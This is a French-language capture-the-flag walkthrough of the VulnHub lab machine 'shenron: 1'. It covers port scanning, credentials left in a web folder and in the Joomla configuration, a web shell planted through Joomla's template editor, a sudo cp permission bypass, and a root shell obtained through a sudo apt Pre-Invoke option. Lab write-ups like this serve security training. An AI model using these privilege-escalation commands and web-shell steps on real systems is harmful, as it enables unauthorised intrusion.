shenron: 1 fait partie d’une série de CTFs proposée sur VulnHub et créé par @shubhammandloi.
1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 192.168.56.60
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0e22600af7d478f64208d76a6bb0b162 (RSA)
| 256 b30ccd0a67c3abd22327021fb2fb9112 (ECDSA)
|_ 256 2973e0f26df6fbde4c6fb27a1969f582 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu
Comme une lettre à la poste
Le site web fournit directement la page par défaut d’Apache donc on attaque directement avec l’énumération web.
Je trouve déjà des identifiants dans un dossier test
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ curl http://192.168.56.60/test/password
<!DOCTYPE html>
<html>
<head>
<title>PASSWORD</title>
</head>
<body>
<h1>LOTS OF INFORMATION ARE HERE ;-)</h1>
<h1> You Are Very Near .......</h4>
<!--
"All The Best"
Credentials:- "admin:3iqtzi4RhkWANcu@$pa$$"
-->
</body>
</html>
Et deuxièmement un Joomla installé à l’adresse /joomla
(tout simplement)
Il faut se rendre sur /joomla/administrator
pour accèder au panel d’administration.
On ne croise pas du Joomla très régulièrement sur les CTFs. Heureusement j’ai déjà eu le cas sur le CTF Rosee de Wizard Labs par conséquent je vais suivre le même cheminement pour éditer le template par défaut et ajouter un fichier PHP qui me donnera mon shell web.
Transformé à peine une minute plus tard en beau reverse shell avec PTY, j’en profite pour regarder dans /etc/passwd
:
1
2
jenny:x:1001:1001::/home/jenny:/bin/bash
shenron:x:1002:1002::/home/shenron:/bin/bash
Jenny! Jenny! Jenny!
Quand je recherche les fichiers de jenny je ne trouve que son dossier personnel et le fichier /var/www/html/joomla/htaccess.txt
. Ce dernier ne contient rien d’intéressant (juste des règles d’URL rewriting).
Pour shenron il y a un fichier sans doute intéressant mais non lisible pour le moment :
-rwx------ 1 shenron shenron 43 Dec 13 2020 /var/opt/password.txt
Dans le fichier de configuration de Joomla je trouve des infos prometteuses :
1
2
3
4
5
6
7
8
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'jenny';
public $password = 'Mypa$$wordi$notharD@123';
public $db = 'joomla_db';
public $dbprefix = 'sotv8_';
public $live_site = '';
public $secret = '3xAUrgQhKGZjsund';
Je zappe directement l’étape MySQL et j’utilise les identifiants qui marchent pour un su jenny
.
De là je remarque que je peux exécuter une commande en tant que shenron :
1
2
3
4
5
6
jenny@shenron:~$ sudo -l
Matching Defaults entries for jenny on shenron:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jenny may run the following commands on shenron:
(shenron) NOPASSWD: /usr/bin/cp
Je ne peux pas exploiter la situation pour récupérer le fichier password :
1
2
3
4
5
jenny@shenron:~$ sudo -u shenron /usr/bin/cp /var/opt/password.txt /tmp/
jenny@shenron:~$ cat /tmp/password.txt
cat: /tmp/password.txt: Permission denied
jenny@shenron:~$ ls -al /tmp/password.txt
-rwx------ 1 shenron shenron 43 Nov 17 21:23 /tmp/password.txt
On peut passer outre en indiquant de ne pas préserver les permissions du fichier :
1
2
3
4
5
jenny@shenron:~$ sudo -u shenron /usr/bin/cp --no-preserve=mode /var/opt/password.txt /tmp/password2.txt
jenny@shenron:~$ ls -al /tmp/password2.txt
-rw-rw-r-- 1 shenron shenron 43 Nov 17 21:26 /tmp/password2.txt
jenny@shenron:~$ cat /tmp/password2.txt
shenron : YoUkNowMyPaSsWoRdIsToStRoNgDeAr
Depuis l’utilisateur shenron je peux obtenir le premier flag :
1
2
shenron@shenron:~$ cat local.txt
098bf43cc909e1f89bb4c910bd31e1d4
Say cAPTain, say wot
Let’s go pour un GTFObins ?
1
2
3
4
5
6
7
shenron@shenron:~$ sudo -l
[sudo] password for shenron:
Matching Defaults entries for shenron on shenron:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shenron may run the following commands on shenron:
(ALL : ALL) /usr/bin/apt
GTFObins a plusieurs astuces pour apt mais certaines semblent nécessiter une connexion à Internet et la VM est configurée en host only. La dernière fonctionne correctement ici :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
shenron@shenron:~$ sudo /usr/bin/apt update -o APT::Update::Pre-Invoke::=/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
mmmm # mmm
#" " # mm mmm m mm m mm mmm m mm #
"#mmm #" # #" # #" # #" " #" "# #" # #
"# # # #"""" # # # # # # # """ #
"mmm#" # # "#mm" # # # "#m#" # # mm#mm
Your Root Flag Is Here :- aa087b2d466cd593622798c8e972bffb
If You Like This Machine Follow Me On Twitter..
Twitter Handle:- https://twitter.com/shubhammandloi or @shubhammandloi
Ce fut très rapide :p